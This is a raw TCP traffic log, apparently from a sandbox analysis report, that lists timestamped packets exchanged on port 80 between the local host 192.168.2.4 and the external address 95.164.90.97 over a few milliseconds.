Oct 8, 2024 02:45:33.375720978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375746965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375757933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375778913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375791073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375818968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375825882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375852108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375863075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375886917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375895023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375920057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375931025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375952959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375963926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375986099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375997066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376018047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376029015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376050949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376061916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376084089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376095057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376126051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376235008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376267910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376286030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376303911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376384020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376416922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376435995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376449108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376454115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376482010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376497984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376513004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376522064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376547098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376554012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376580954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376595974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376614094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376625061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376646996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376657009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376679897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376691103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376724005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376738071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376770020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376784086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376802921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376813889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376836061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376846075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376868010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376878023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376910925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376919031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.376961946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.376966000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377000093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377011061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377033949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377046108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377067089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377074957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377095938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377111912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377127886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377144098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377160072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377173901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377192020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377199888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377224922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377233028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377258062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377269983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377291918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377300978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377327919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377334118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377361059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377370119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377393961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377404928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377429008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377437115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377481937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377491951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377515078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377526045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377549887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377559900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377583027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377593994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377629042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377851009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377883911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377901077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377916098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377923012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.377966881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.377971888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378001928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378012896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378034115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378046036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378067017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378078938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378101110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378112078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378133059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378144026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378165960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378175974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378197908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378209114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378231049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378242016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378262997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378273964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378294945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378304958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378329039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378340960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378361940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378372908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378395081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378406048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378429890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378442049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378462076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378472090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378494978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378504992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378528118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378540039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378565073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378585100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378607035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378613949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378648043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378658056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378680944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378695965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378714085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378730059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378756046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378861904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378895044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378909111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378926992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378936052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378968954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.378969908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378984928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.378998995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379009008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379013062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379026890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379029036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379040003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379054070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379067898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379070044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379082918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379092932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379097939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379101992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379112005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379122019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379139900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379142046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379149914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379182100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379223108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379261971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379333019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379348993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379373074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379376888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379395962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379400969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379407883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379417896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379431963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379437923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379451036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379470110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379770994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379786968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379800081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379813910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379821062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379828930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379842043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379853010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379868031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379868984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379882097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379894972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379897118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379911900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379918098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379926920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379940987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379941940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379955053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379962921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.379968882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379983902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.379993916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.380000114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.380011082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.380016088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.380031109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.380038023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.380044937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.380060911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.380069017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.380080938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.380106926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.380352974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.380367994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.380393982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.380403996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382754087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382777929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382793903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382806063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382810116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382817030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382827044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382836103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382843971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382857084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382860899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382868052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382878065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382885933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382894039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382900953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382910013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382919073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382926941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382934093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382944107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.382953882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382967949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.382982969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383097887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383112907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383126974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383137941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383142948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383147001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383167982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383182049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383227110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383250952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383265018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383266926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383280993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383285999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383296967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383296967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383313894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383317947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383328915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383330107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383346081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383349895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383361101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383362055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383378983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.383392096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383403063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.383419991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384368896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384417057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384459972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384478092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384505033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384516001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384516954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384532928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384547949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384551048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384565115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384565115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384577990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384599924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384646893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384661913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384675980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384687901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384690046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384696960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384716988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384722948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384727955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384738922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384753942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384763002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384769917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384773970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384787083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384793043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384804964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384824991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.384932041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.384974003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385010004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385025978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385051966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385062933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385077953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385092974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385102987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385108948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385127068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385148048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385191917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385206938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385221958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385231972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385237932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385243893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385301113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385301113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385332108 CEST	80	51293	95.164.90.97	192.168.2.4
